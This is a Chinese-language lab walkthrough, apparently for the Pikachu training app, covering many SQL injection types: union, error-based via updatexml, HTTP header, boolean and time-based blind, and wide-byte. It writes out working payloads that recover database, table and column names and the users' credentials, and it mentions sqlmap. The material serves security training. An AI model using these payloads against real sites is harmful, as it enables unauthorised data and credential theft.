目录
数字型注入(post)
抓包丢到repeater,测试id参数上传是否存在漏洞
测试是否存在逻辑漏洞,输入2 or 1,发现所有可查的表数据都出来了,判断可以多列输出
测试单个数据可以查的行数,2 order by 2,2 order by 3,发现3报错,2没有,说明只有两行
测试是否能直接查库名,可以
查表名
查表内列名
查users表的username,password内容
查member表的username,pw内容
字符型注入(get)
注入点1' union select1,2#
搜索型注入
注入点1' union select 1,2,3#
xx型注入
构造闭合多了一个),注入点一样
"insert/update"注入
insert的注入语法和update的注入语法是一样的,所以放一块写了
查库名
查数据库版本
查users表里的列名
查member表里的列名
查users表里的第一个用户名
查users表里的第一个用户密码
"delete"注入
与insert注入一样使用updatexml()函数进行报错回显
区别在于因为是get方式所以payload要使用url编码,payload如图
"http header"注入
抓包提交请求,第一个包forward,第二个包送去repeater,然后修改user-agent为payload,如下图,payload和insert注入的一致
盲注(base on boolian)
使用函数:ascii(),substr(),length()
使用kobe’ #测试闭合,输入kobe' and length(database())=4 #,得到正常结果返回,如果结果不正确,会显示用户名或密码不正确
猜测库名,通过匹配26个字母对应的ascii值,依次猜解各个字母
kobe' and ascii(substr(database(),1,1))=114 # 第一个字母是r
kobe' and ascii(substr(database(),2,1))=111 # 第二个字母是o
kobe' and ascii(substr(database(),3,1))=111 # 第三个字母是o
kobe' and ascii(substr(database(),4,1))=116 # 第二个字母是t
猜测表名,得到库内第四张表是users
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 # 猜测出第四张表第一个字母是u
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=115 # 猜测出第四张表第二个字母是s
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),3,1))=101 # 猜测出第四张表第三个字母是e
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),4,1))=114 # 猜测出第四张表第四个字母是r
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5,1))=115 # 猜测出第四张表第五个字母是r
猜测users表内字段数
kobe' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='root' )=4 # 猜测出users表内字段数有4个
猜测users表内字段名字长度
kobe' and length((select column_name from information_schema.columns where table_schema='root' and table_name='users' limit 0,1))=2# 猜测出第一个字段长度为2
kobe' and length((select column_name from information_schema.columns where table_schema='root' and table_name='users' limit 1,1))=8# 猜测出第二个字段长度为8
kobe' and length((select column_name from information_schema.columns where table_schema='root' and table_name='users' limit 2,1))=8# 猜测出第三个字段长度为8
kobe' and length((select column_name from information_schema.columns where table_schema='root' and table_name='users' limit 3,1))=5# 猜测出第四个字段长度为5
猜出两个字段名开头字母,一个是u,一个是p,联系到username,password
kobe' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='root' limit 1,1),1,1))=117# 第二个字段名首字母为u
kobe' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='root' limit 2,1),1,1))=112# 第三个字段名首字母为p
结合字段长度,猜测字段名,也可以使用ascii值逐字匹配(太费时间)
kobe' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #
kobe' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
数据采用加密方式,手工猜解太难,需要借助自动化工具,这里使用sqlmap,输入如下payload
盲注(base on time)
这关使用的payload和前一关一样,区别在于这一关的回显只能通过sleep()函数实现,如下面的payload,使用if语句判断猜解信息是否正确,正确就网页延迟五秒钟回应,错误就输入1(等于没反应),注入过程就只是把length(database())=4换成payload,不占用太多篇幅,不写了
kobe' and if(length(database())=4,sleep(5),1)#
使用自动化工具,得到数据
宽字节注入
这关加了对单引号的转义,要用%df'来转义,而且得在抓包界面改,payload和布尔注入一样,自动化注入也一样